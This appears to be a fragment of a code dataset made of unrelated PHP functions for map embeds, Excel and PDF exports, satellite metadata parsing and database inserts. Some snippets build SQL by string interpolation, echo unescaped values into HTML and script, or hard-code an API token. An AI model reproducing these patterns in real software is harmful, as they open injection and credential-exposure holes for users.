[{\\\"featureType\\\":\\\"all\\\",\\\"elementType\\\":\\\"all\\\",\\\"stylers\\\":[{\\\"saturation\\\":-100},{\\\"gamma\\\":0.5}]}]\n };\n var mapElement = document.getElementById('\".$args['id'].\"');\n var map = new google.maps.Map(mapElement, mapOptions);\n var locations = [\n ['\".$args['map_text'].\"', '\".$args['address'].\"', 'undefined', 'undefined','undefined', \".$args['lattitude'].\", \".$args['longitude'].\", '\".get_template_directory_uri().\"/img/marker.png']\n ];\n for (i = 0; i < locations.length; i++) {\n if (locations[i][1] =='undefined'){ description ='';} else { description = locations[i][1];}\n if (locations[i][2] =='undefined'){ telephone ='';} else { telephone = locations[i][2];}\n if (locations[i][3] =='undefined'){ email ='';} else { email = locations[i][3];}\n if (locations[i][4] =='undefined'){ web ='';} else { web = locations[i][4];}\n if (locations[i][7] =='undefined'){ markericon ='';} else { markericon = locations[i][7];}\n marker = new google.maps.Marker({\n icon: markericon,\n position: new google.maps.LatLng(locations[i][5], locations[i][6]),\n map: map,\n title: locations[i][0],\n desc: description,\n tel: telephone,\n email: email,\n web: web\n });\n if (web.substring(0, 7) != \\\"http://\\\") {\n link = \\\"http://\\\" + web;\n } else {\n link = web;\n }\n bindInfoWindow(marker, map, locations[i][0], description, telephone, email, web, link);\n }\n function bindInfoWindow(marker, map, title, desc, telephone, email, web, link) {\n var infoWindowVisible = (function () {\n var currentlyVisible = false;\n return function (visible) {\n if (visible !== undefined) {\n currentlyVisible = visible;\n }\n return currentlyVisible;\n };\n }());\n iw = new google.maps.InfoWindow();\n google.maps.event.addListener(marker, 'click', function() {\n if (infoWindowVisible()) {\n iw.close();\n infoWindowVisible(false);\n } else {\n var html= \\\"<div style='color:#000;background-color:#fff;padding:5px;width:90%;'><h4>\\\"+title+\\\"</h4><p>\\\"+desc+\\\"<p><a href='mailto:\\\"+email+\\\"' >\\\"+email+\\\"<a><a href='\\\"+link+\\\"'' >\\\"+web+\\\"<a></div>\\\";\n iw = new google.maps.InfoWindow({content:html});\n iw.open(map,marker);\n infoWindowVisible(true);\n }\n });\n google.maps.event.addListener(iw, 'closeclick', function () {\n infoWindowVisible(false);\n });\n }\n }\n</script>\";\n\n return $output;\n}", "public function geolocalizacion(Request $request, Response $response, $args)\n {\n \n try {\n \n $ruc=\"20131380951\";\n $token=\"8c076ab2d795c792c8dd3749ebe29df1\";\n $fecha=\"20190227\";\n $path1 = $ruc.$token.$fecha;\n $clave=md5($path1);\n \n $url=\"http://190.102.145.252:8001/api/\";\n \n //$url=\"https://digital.miraflores.gob.pe:8443/miraflores/getDocTramiteByWeb.muni\";\n /*recibo los parametros del login*/ \n $dato = array(\n \"token\" => $clave,\n \"format\" => \"json\"\n );\n \n\n $datosM= Acl::curlGET($url,$dato);\n \n //var_dump($datosM);\n //exit;\n \n\n\n\n // $popup = ContenidoControlador::getContenidoPopups();\n // var_dump($popup);\n // exit;\n \n $nroRes=Constante::NOTIC_NRO_RESULTADOS_DEFAULT;\n // $datin[\"contenidos\"] = ContenidoControlador::getListadoNoticiasPortada($nroRes);\n $datin[\"contenidos\"] = GestContenido::getListadoNoticiasPortada($nroRes);\n $datin[\"popups\"] = ContenidoControlador::getContenidoPopups();\n $datin[\"novedades\"] = ContenidoControlador::getNovedadesMiraflores();\n $datin[\"pathmunlima\"]=Constante::PATHMUNLIMA;\n \n $mensaje =\"se elimino correctamente el usuario y la persona\";\n $estado = true;\n \n \n } catch (\\ErrorException $e) {\n $mensaje=\"Algo no salio muy bien\";\n $estado=false;\n }\n \n $datin[\"mensaje\"]= $mensaje;\n $datin[\"success\"] = $estado;\n // $datin[\"parametros\"] = ['title'=>\"Bienvenido :: Overseas Perú\", 'titulo' => \"BIENVENIDO A LOS SERVICIOS DE ATENCIÓN VIRTUAL\" ];\n //$obj1 = JsonRenderer::render($response,200,$datin);\n //var_dump($datin);\n //exit;\n $this->view->render($response, \"weblima/plantilla-map.twig\", $datin);\n return $response;\n \n }", "function ambil_paket_export_excel(){\r\n\t\t//POST varibale here\r\n\t\t$apaket_faktur=trim(@$_POST[\"apaket_faktur\"]);\r\n\t\t$apaket_faktur=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$apaket_faktur);\r\n\t\t$apaket_faktur=str_replace(\"'\", \"\\'\",$apaket_faktur);\r\n\t\t$apaket_cust=trim(@$_POST[\"apaket_cust\"]);\r\n\t\t$apaket_paket=trim(@$_POST[\"apaket_paket\"]);\r\n\t\t$apaket_sisa=trim(@$_POST[\"apaket_sisa\"]);\r\n\t\t$apaket_jenis=trim(@$_POST[\"apaket_jenis\"]);\r\n\t\t$apaket_jenis_kadaluarsa=trim(@$_POST[\"apaket_jenis_kadaluarsa\"]);\r\n\t\t$apaket_kadaluarsa=trim(@$_POST[\"apaket_kadaluarsa\"]);\r\n\t\t$apaket_kadaluarsa_akhir=trim(@$_POST[\"apaket_kadaluarsa_akhir\"]);\r\n\t\t$apaket_tgl_faktur=trim(@$_POST[\"apaket_tgl_faktur\"]);\r\n\t\t$apaket_tgl_faktur_akhir=trim(@$_POST[\"apaket_tgl_faktur_akhir\"]);\r\n\t\t$apaket_jenis=trim(@$_POST[\"apaket_jenis\"]);\r\n\t\t$apaket_transaksi_start=trim(@$_POST[\"apaket_tgl_transaksi_start\"]);\r\n\t\t$apaket_transaksi_end=trim(@$_POST[\"apaket_tgl_transaksi_end\"]);\r\n\t\t$apaket_tidak_transaksi_start=trim(@$_POST[\"apaket_tidak_tgl_transaksi_start\"]);\r\n\t\t$apaket_tidak_transaksi_end=trim(@$_POST[\"apaket_tidak_tgl_transaksi_end\"]);\r\n\t\t$option=$_POST['currentlisting'];\r\n\t\t$filter=$_POST[\"query\"];\r\n\t\t\r\n\t\t$query = $this->m_master_ambil_paket->ambil_paket_export_excel($apaket_faktur\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_cust\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_paket\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_kadaluarsa\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_kadaluarsa_akhir\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_tgl_faktur\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_tgl_faktur_akhir\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_jenis\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_jenis_kadaluarsa\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$apaket_sisa,$apaket_transaksi_start, $apaket_transaksi_end, $apaket_tidak_transaksi_start, $apaket_tidak_transaksi_end\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$option\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t,$filter);\r\n\t\t\r\n\t\tto_excel($query,\"pengambilan_paket\"); \r\n\t\techo '1';\r\n\t\t\t\r\n\t}", "function printCell($data,$total,$col,$field,$file_name,$module,$data2,$incentive_ytd,$incentive_type,$period,$created_date,$modified_date){\n\t\t$j = 1;\n\t\t$total = $total;\n\t\t$field_count = count($field);\n\t\t$c_count = $field_count-1;\n\t\t$k = 0;\n\t\t\n\t\t// for view incentive 1\n\t\tif($module == 'view_incentive1'){\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A1', 'Employee');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A1')->setAutoSize(true);\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B1', $data2['employee']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A2', 'Incentive Type');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B2', $incentive_type);\n\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A3', 'Period');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B3', $period);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A4', 'Productivity %');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B4', $data2['productivity']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('B4')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A5', 'Incentive Amount (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B5', $data2['eligible_incentive_amt']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('B5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C1', 'No. of Candidates Interviewed');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C1')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C1')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D1', $data2['interview_candidate']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('D1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C2', 'Individual Contribution - YTD (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D2', $incentive_ytd);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('D2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C3', 'Created Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D3', $created_date);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C4', 'Modified Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D4', $modified_date);\n\n\t\t\t// iterate the multiple rows\n\t\t\tfor($i = 8; $i <= $total+7; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){\n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\n\t\t\n\t\t}elseif($module == 'view_incentive2'){\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A1', 'Employee');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A1')->setAutoSize(true);\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B1', $data2['employee']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A2', 'Incentive Type');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B2', $incentive_type);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A3', 'Period');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B3', $period);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A4', 'Min. Performance Target (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B4', $data2['incentive_target_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A5', 'Actual Individual Contribution (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B5', $data2['achievement_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C1', 'Incentive Amount (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C1')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C1')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D1', $data2['eligible_incentive_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C2', 'No. of Candidates Billed');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D2', $data2['candidate_billed']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C3', 'Individual Contribution - YTD (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D3', $incentive_ytd);\n\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C4', 'Created Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D4', $created_date);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C5', 'Modified Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D5', $modified_date);\n\t\t\n\t\t\t// iterate the multiple rows\n\t\t\tfor($i = 9; $i <= $total+8; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){\n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\n\t\t}else{\n\t\t\tfor($i = 2; $i <= $total+1; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){ \n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\t\t\t\n\t\t}\n\t\t\n\t\t// auto size for columns \n\t\tforeach(range('A',\"$col[$c_count]\") as $columnID) {\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension($columnID)->setAutoSize(true);\n\t\t}\t\n\t\t// set the header\n\t\t$this->setHeader($file_name);\n\t}", "function readRS2($filePath) {\n\n libxml_use_internal_errors(true);\n\n $doc = new DOMDocument();\n $doc->loadXML(file_get_contents($filePath));\n \n $errors = libxml_get_errors();\n\n // See comment at the beginning of this script\n $parentIdentifier = \"urn:ogc:def:EOP:CSA:RSAT2\";\n\n /*\n * Footprint as WKT POLYGON\n * \n * Radarsat 2 coordinates are not ordered so we\n * must use the line/pixel info to reorder geographical\n * coordinates...\n */\n $quads = array();\n $firstLine = 999999999;\n $lastLine = -999999999;\n $firstPixel = 999999999;\n $lastPixel = -999999999;\n $imageTiePoints = $doc->getElementsByTagname('geographicInformation')->item(0)->getElementsByTagname('geolocationGrid')->item(0)->getElementsByTagname('imageTiePoint');\n foreach($imageTiePoints as $imageTiePoint) {\n $imageCoordinates = $imageTiePoint->getElementsByTagname('imageCoordinate');\n foreach($imageCoordinates as $imageCoordinate) {\n $line = floatval(trim($imageCoordinate->getElementsByTagName('line')->item(0)->nodeValue));\n $pixel = floatval(trim($imageCoordinate->getElementsByTagName('pixel')->item(0)->nodeValue));\n }\n $geodeticCoordinates = $imageTiePoint->getElementsByTagname('geodeticCoordinate');\n foreach($geodeticCoordinates as $geodeticCoordinate) {\n $lon = floatval(trim($geodeticCoordinate->getElementsByTagName('longitude')->item(0)->nodeValue));\n $lat = floatval(trim($geodeticCoordinate->getElementsByTagName('latitude')->item(0)->nodeValue));\n }\n\n // Find the image extrema\n $firstLine = min($firstLine, $line);\n $firstPixel = min($firstPixel, $pixel);\n $lastLine = max($lastLine, $line);\n $lastPixel = max($lastPixel, $pixel);\n \n array_push($quads, array(\n 'line' => $line,\n 'pixel' => $pixel,\n 'lon' => (float)$lon,\n 'lat' => (float)$lat\n ));\n }\n\n // Simple computation UL,UR,LL,LR coordinates\n\n foreach($quads as $quad) {\n if ($quad[\"line\"] === $firstLine && $quad[\"pixel\"] === $firstPixel) {\n $UL = $quad[\"lon\"] . ' ' . $quad[\"lat\"];\n }\n if ($quad[\"line\"] === $firstLine && $quad[\"pixel\"] === $lastPixel) {\n $UR = $quad[\"lon\"] . ' ' . $quad[\"lat\"];\n }\n if ($quad[\"line\"] === $lastLine && $quad[\"pixel\"] === $firstPixel) {\n $LL = $quad[\"lon\"] . ' ' . $quad[\"lat\"];\n }\n if ($quad[\"line\"] === $lastLine && $quad[\"pixel\"] === $lastPixel) {\n $LR = $quad[\"lon\"] . ' ' . $quad[\"lat\"];\n }\n }\n\n $footprint = 'POLYGON((' . $UL . ',' . $UR . ',' . $LR . ',' . $LL . ',' . $UL . '))';\n\n // Other infos\n $sourceAttributes = $doc->getElementsByTagname('sourceAttributes')->item(0);\n $date = correctDate($sourceAttributes->getElementsByTagname('rawDataStartTime')->item(0)->nodeValue);\n\n return array(\n 'identifier' => $parentIdentifier . ':' . $doc->getElementsByTagname('productId')->item(0)->nodeValue,\n 'parentidentifier' => $parentIdentifier,\n 'startdate' => $date,\n 'enddate' => $date,\n 'platform' => $sourceAttributes->getElementsByTagname('satellite')->item(0)->nodeValue,\n 'instrument' => $sourceAttributes->getElementsByTagname('sensor')->item(0)->nodeValue,\n 'footprint' => $footprint\n );\n\n}", "function update_office_info()\n {\n $this->model->update_office_info();\n }", "private function saveGeoData($rowData, $arr=[]){\n $rowData[\"data\"] = (array)$rowData[\"data\"];\n $district = $rowData[\"user_district\"];\n $facility = (isset($rowData[\"data\"][\"facility\"])?$rowData[\"data\"][\"facility\"]:null);\n $unions = null;\n if(isset($rowData[\"data\"][\"union\"]))\n {\n $unions = $rowData[\"data\"][\"union\"];\n }\n \n// var_dump($rowData);\n \n //filter the array one by one\n $arr = $this->getLocationOptions($this->locations, $district);\n $arr = $this->getLocationOptions($arr, $facility);\n $arr = $this->getLocationOptionsMultiple($arr, array($unions));\n \n //save the data to the array\n if(sizeof($arr)==1){\n reset($arr);\n $key = key($arr);\n $arr = $arr[$key];\n \n return array(\n \"_div\" => $arr[\"div\"],\n \"_dist\" => $arr[\"dist\"],\n \"_upz\" => $arr[\"upz\"],\n \"_union\" => $arr[\"union\"],\n \"_geoProxy\" => \"NONE\"\n );\n }\n else{\n\t $geoDataTemp = array(\n \"_div\" => $this->checkIfSame($arr, \"div\"),\n \"_dist\" => $this->checkIfSame($arr, \"dist\"),\n \"_upz\" => $this->checkIfSame($arr, \"upz\"),\n \"_union\" => $this->checkIfSame($arr, \"union\")\n );\n if( $geoDataTemp[\"_div\"] ==null || $geoDataTemp[\"_dist\"] ==null || $geoDataTemp[\"_upz\"] ==null || $geoDataTemp[\"_union\"] ==null){\n \t$this->ambiguousCount++;\n $geoDataTemp[\"_geoProxy\"] = json_encode($arr);\n\t }\n\t else{\n\t $geoDataTemp[\"_geoProxy\"] = \"NONE\";\n\t }\n return $geoDataTemp; \n }\n }", "public function afficheMarker(){\r\n \r\n $request = $this->_bdd->query(\"SELECT gps.`id`, gps.id_bateau, gps.latitude, gps.longitude, bateau.nom FROM gps, bateau WHERE gps.id_bateau = bateau.id ORDER BY `gps`.`id` DESC\");\r\n while ($tab = $request->fetch()){ ?>\r\n <script> \r\n \"<?= $tab['nom'] ?>\":{\r\n \"lat\": <?= $tab['latitude'] ?>;\r\n \"lon\": <?= $tab['longitude'] ?>;\r\n };\r\n </script>\r\n <?php\r\n } \r\n}", "function addExtractionFromCart($oid, $uid, $strVectors, $strRasters, $vector, $raster, $projection, $insee, $communes, $hostname, $extent, $droits) {\n \n $tc = getTC($oid);\n \n // Ajout de la demande\n\t$conn = dbConnect();\n\t$tmp_extent = $extent[\"tmp_extent\"];\n\t$extent_extraction = $extent[\"extent\"];\n\t$extent_carte = $extent[\"extent\"];\n \n\t$emprise = \"etendue\"; // partielle Nb Communes\n\tif(!$insee || $insee == \"\" || $insee == $tc) {\n\t\t$emprise = \"totalite\"; // TC complet\n\t}\n\t\n\t$etat_demande = \"ATTENTE_VALIDATION\";\n\tif(empty($tmp_extent)/* && strtolower($zone) != \"totalite\"*/) {\n\t\t$etat_demande = \"ERREUR_ORGANISME\";\n\t}\n\n $strVectors = utf8_decode($strVectors);\n $strRasters = utf8_decode($strRasters);\n $droits = utf8_decode($droits);\n \n\t$attente_vecteur = \"true\";\n\t$attente_raster = \"true\";\n\t\n\tif(!$strVectors || $strVectors == \"\") {\n\t\t$attente_vecteur = \"false\";\n\t}\n\t\n\tif(!$strRasters || $strRasters == \"\") {\n\t\t$attente_raster = \"false\";\n\t}\n \n // Utilisé par l'extracteur pour récup des options sur les formats et projections\n $format_vecteur = ($vector && trim($vector != \"\")) ? $vector : \"shp\";\n $format_raster = ($raster && trim($raster != \"\")) ? $raster : \"ecw\";\n \n $ids_projections = array(\n 'Lambert 93' => 5, \n 'Conique conforme 50'=> 13,\n 'Lambert II étendu'=> 1, \n 'Lambert 1 nord'=> 12, \n 'Lambert 1 carto'=> 11, \n 'WGS84'=> 10, \n 'RGF93'=> 14, \n 'ETRS89'=> 15, \n );\n\n $ids_vecteurs = array(\n 'shp' => 1,\n 'mif' => 3, \n 'tab' => 2 \n );\n\n $ids_rasters = array(\n 'ecw' => 8, \n 'tiff' => 7, \n 'jpeg2000' => 9 \n );\n \n $id_projection = isset($ids_projections[$projection]) ? $ids_projections[$projection] : 5;\n $id_format_vecteur = isset($ids_vecteurs[$format_vecteur]) ? $ids_vecteurs[$format_vecteur] : 1;\n $id_format_raster = isset($ids_rasters[$format_raster]) ? $ids_rasters[$format_raster] : 8;\n //\n \n\t$sql = \"INSERT INTO extraction.projet_extraction \n (id_organisme, id_contact, date_demande, date_annulation, date_validation, date_fin_traitement, etat_demande, zone_geograpique, titre_carte, couche_vecteur, couche_raster, format_vecteur, format_raster, systeme_projection, fichier_zip, demande_dvd, num_courrier_suivi, extent_extraction, fichier_licence, fichier_map, commune, extent_carte, remote_addr, date_debut_traitement, process_id, message_erreur, attente_raster, dossier_temp, dossier_contact, fichier_supprimer, date_suppression, dvd_envoye, demande_dvd_validee, date_dvd_envoye, taille_fichier, process_id_zip, temp_extent, attente_vecteur, id_format_vecteur, id_format_raster, id_projection, organisme, contact, status_vecteur, status_raster, mode, the_geom_tc, taille_reelle, insee_extraction, droits) VALUES \n ($oid, $uid, 'now()', NULL, NULL, NULL, '$etat_demande', '$emprise', NULL, \".(($strVectors && trim($strVectors != \"\")) ? \"'$strVectors'\" : \"NULL\").\", \".(($strRasters && trim($strRasters != \"\")) ? \"'$strRasters'\" : \"NULL\").\", '$format_vecteur', '$format_raster', '$projection', NULL, NULL, NULL, '$extent_extraction', NULL, NULL, '$communes', '$extent_carte', '$hostname', NULL, NULL, NULL, $attente_raster, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '$tmp_extent', $attente_vecteur, $id_format_vecteur, $id_format_raster, $id_projection, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '$insee', '$droits');\";\n\n // pg_set_client_encoding($conn, \"UTF8\");\n\t$res = pg_query($conn, $sql);\n\t\n\tif(!$res) { return array(true, pg_last_error($conn)); }\n\t\n\t/* Récupération de l'identifiant de l'extraction */\n\t$sqlId = \"select * from extraction.projet_extraction where id_contact=$uid order by id_extraction DESC limit 1;\";\n\t$id = pg_query($conn, $sqlId);\n\t$extraction = pg_fetch_assoc($id);\n\tdbClose($conn);\n\n\treturn $extraction;\n}", "public function Excel($periode)\n {\n $query = $this->M_LapPerangkinganNilai->ExportExcel($periode);\n $this->excel_generator->set_query($query);\n $this->excel_generator->set_header(array('ID CALON', 'NAMA CALON','KOMPETENSI','INTERVIEW','KONSISTENSI','HASIL','KETERANGAN'));\n $this->excel_generator->set_column(array('calon_id', 'nm_calon','kompetensi','interview','konsistensi','hasil_akhir','keterangan'));\n $this->excel_generator->set_width(array(10, 20, 15, 15,15,15,15));\n $this->excel_generator->exportTo2007('Perangkingan Nilai Periode '.tanggal($periode));\n }", "function rodapeRelatorio($oPdf, $oFiltros, $oTurma) {\n\n $oPdf->SetFont('arial', '', 7);\n $oPdf->SetXY(10, 190);\n\n $sMunicipioData = \"{$oTurma->getEscola()->getMunicipio()}, \".date(\"d\", db_getsession(\"DB_datausu\")).\" de \";\n $sMunicipioData .= ucfirst(db_mes(date(\"m\", db_getsession(\"DB_datausu\")))).\" de \".date(\"Y\", db_getsession(\"DB_datausu\")).\".\";\n $oPdf->Cell($oFiltros->iLarguraMaxima, $oFiltros->iAlturaLinhaPadrao, $sMunicipioData, 0, 1, \"C\");\n\n /**\n * Buscamos as informacoes referentes ao diretor e percorremos os dados\n */\n $sDiretor = '';\n if (!empty($oFiltros->iDiretor)) {\n\n $aDiretor = $oTurma->getEscola()->getDiretor($oFiltros->iDiretor);\n foreach ($aDiretor as $oDiretor) {\n\n $sDiretor = ucwords(strtolower($oDiretor->sNome));\n $sFuncaoAto = \"Diretor\";\n\n if (!empty($oDiretor->sAtoLegal) && !empty($oDiretor->iNumero)) {\n $sFuncaoAto .= \" - \".ucwords(strtolower($oDiretor->sAtoLegal)).\" - Nº: {$oDiretor->iNumero}\";\n }\n }\n $oPdf->Ln(4);\n $oPdf->Cell($oFiltros->iLarguraMaxima, 3, $sDiretor, 0, 1, \"C\");\n $oPdf->Cell($oFiltros->iLarguraMaxima, 3, $sFuncaoAto, 0, 1, \"C\");\n }\n}", "public function export_data_anggota_keluarga()\n {\n $spreadsheet = new Spreadsheet();\n $currentData = $this->AnggotaKeluargaModel->findAll();\n // tulis header/nama kolom \n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A1', 'No. KK')\n ->setCellValue('B1', 'No. KTP')\n ->setCellValue('C1', 'Nama')\n ->setCellValue('D1', 'Tempat Lahir')\n ->setCellValue('E1', 'Tanggal Lahir')\n ->setCellValue('F1', 'Jenis Kelamin')\n ->setCellValue('G1', 'Status Perkawinan')\n ->setCellValue('H1', 'Pendidikan')\n ->setCellValue('I1', 'Pekerjaan')\n ->setCellValue('J1', 'Catatan');\n\n $column = 2;\n // tulis data mobil ke cell\n foreach ($currentData as $data) {\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A' . $column, $data['noKK'])\n ->setCellValue('B' . $column, $data['noKTP'])\n ->setCellValue('C' . $column, $data['nama'])\n ->setCellValue('D' . $column, $data['tempatLahir'])\n ->setCellValue('E' . $column, $data['tanggalLahir'])\n ->setCellValue('F' . $column, $data['jenisKelamin'])\n ->setCellValue('G' . $column, $data['statusPerkawinan'])\n ->setCellValue('H' . $column, $data['pendidikan'])\n ->setCellValue('I' . $column, $data['pekerjaan'])\n ->setCellValue('J' . $column, $data['catatan']);\n $column++;\n }\n // tulis dalam format .xlsx\n 